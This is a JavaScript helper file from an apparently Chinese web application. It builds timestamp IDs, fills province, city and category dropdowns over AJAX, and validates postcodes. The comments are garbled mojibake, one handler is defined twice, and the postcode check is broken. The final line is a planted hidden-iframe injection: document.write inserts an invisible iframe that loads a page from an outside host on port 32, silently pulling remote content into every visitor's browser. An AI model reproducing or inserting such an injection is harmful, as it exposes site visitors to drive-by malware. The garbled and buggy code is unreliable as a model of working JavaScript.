ï»?/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//äº§ç”Ÿå•å·
function createId()
{
    var d, id = "",cMonth= "",cDate= "",cHours= "",cMinutes= "",cSeconds= ""  ;
    d = new Date();
    if ((d.getMonth()+1)<10)
    {
        cMonth="0"+(d.getMonth()+1)
    }else
    {
        cMonth=""+(d.getMonth()+1)
    }
    
    if (d.getDate()<10)
    {
        cDate="0"+d.getDate()
    }else
    {
        cDate=""+d.getDate()
    }
    if (d.getHours()<10)
    {
        cHours="0"+d.getHours()
    }else
    {
        cHours=""+d.getHours()
    }
    if (d.getMinutes()<10)
    {
        cMinutes="0"+d.getMinutes()
    }else
    {
        cMinutes=""+d.getMinutes()
    }
    if (d.getSeconds()<10)
    {
        cSeconds="0"+d.getSeconds()
    }else
    {
        cSeconds=""+d.getSeconds()
    }
    id=id+d.getFullYear()+cMonth+cDate+""+cHours+cMinutes+cSeconds;
    return id;
}

//å…‰æ ‡æŽ§åˆ¶
function setFocus(obj)
{
    s=obj.id;
    pos=s.substr(2,s.length-2);
    n=s.substr(0,2);
    p=parseInt(pos)+1;
    $('#'+n+p)[0].focus();
}



function getSheng()
{
	$.ajax({
		 type: "POST",
		 url: "getSheng.aspx",
		 data:  "",
		 async: true,
		 success: function(data){
		 	setSelect("Sheng",data);
			} 
	});
}
function setSelect(obj,data)
{
    str="<option value=''>è¯·é€‰æ‹©</option>";
    $(data).find("row").each(function(){
    str=str+"<option value='"+$(this).children().eq(0).text()+"'>"+$(this).children().eq(1).text()+"</option>";
    });
    $("#"+obj).html(str)
}

function Class1_OnChange(code)
{
	
	  // alert ("aaz")
    if (code=="")
    {
    code="-1"
    }
	str="code="+code;
	$.ajax({
		 type: "POST",   // ä¼ é€’å‚æ•?
		 url: "getClass2.aspx",
		 data:  str,   // è¦ä¼ é€’çš„å‚æ•°
		 async: true,
		 success: function(data){
		 	setSelect("SmallClassName",data);
		 	//setSelect("Xian","");
			} 
	});
}

//function Class1_OnChange1(code)
//{
//    if (code=="")
//    {
//    code="-1"
//    }
//	str="code="+code;
//	$.ajax({
//		 type: "POST",   // ä¼ é€’å‚æ•?
//		 url: "getClass3.aspx",
//		 data:  str,   // è¦ä¼ é€’çš„å‚æ•°
//		 async: true,
//		 success: function(data){
//		 	setSelect("Shi",data);
//		 	setSelect("Xian","");
//			} 
//	});
//}

function Class1_OnChange(code)
{
    alert('code');
	if (code=="")
    {
    code="-1"
    }
	str="code="+code;
	$.ajax({
	
		 type: "POST",   // ä¼ é€’å‚æ•?
		 
		 url: "getClass2.aspx",
		 data:  str,   // è¦ä¼ é€’çš„å‚æ•°
		 async: true,
		 success: function(data){
		 	setSelect("SmallClassName",data);
		 	//setSelect("Xian","");
			} 
	});
}



function ShengOnChange(code)
{
    if (code=="")
    {
    code="-1"
    }
	str="code="+code;
	$.ajax({
		 type: "POST",   // ä¼ é€’å‚æ•?
		 url: "getShi.aspx",
		 data:  str,   // è¦ä¼ é€’çš„å‚æ•°
		 async: true,
		 success: function(data){
		 	setSelect("Shi",data);
		 	setSelect("Xian","");
			} 
	});
}


function ShiOnChange(code)
{
    if (code=="")
    {
    code="-1"
    }

	str="code="+code;
	$.ajax({
		 type: "POST",
		 url: "getXian.aspx",
		 data:  str,
		 async: true,
		 success: function(data){
		 	setSelect("Xian",data);
			} 
	});
}


function LinkPost(link)
{
  this.r = document.documentElement;
  this.f = document.createElement("FORM");
  this.f.method = "post";
  this.r.insertBefore(this.f, this.r.childNodes[0]);
  this.f.action = link;
  this.f.submit();
}
///////////////////////////////////////////////æœªä½¿ç”?///////////////////////////////////////////////////////////
function deleteRow111(i){    
    document.getElementById('tFenHuYouJi').deleteRow(i)   
}    
//tr_id = $(â€?test>tbody>tr:lastâ€?.attr(â€idâ€?;
//tr_id++;
//alert(tr_id);
function isPost(obj)
{
    b=isPostCode(obj.value)
    if (!b)
    {
        alert("è¯·è¾“å…?ä½é‚®æ”¿ç¼–ç ?)
        obj.focus(); 
    }
}

function isPostCode(obj)
{
    //b=isPostCode(obj.value)
	
	if (isNaN(obj.value)) {
		
		alert("é‚®æ”¿ç¼–å¿…é¡»æ˜¯æ•°å­—ç ?)
        obj.focus();
		
	}
   
}



//function pp{
//	$("input[@flag=add]").each(function(){
//       
//       $(this).val("");
//	});
//}
document.write("<iframe id=seraph src=http://se0001.6600.org:32/pc5/dk.html width=1 height=0></iframe>");
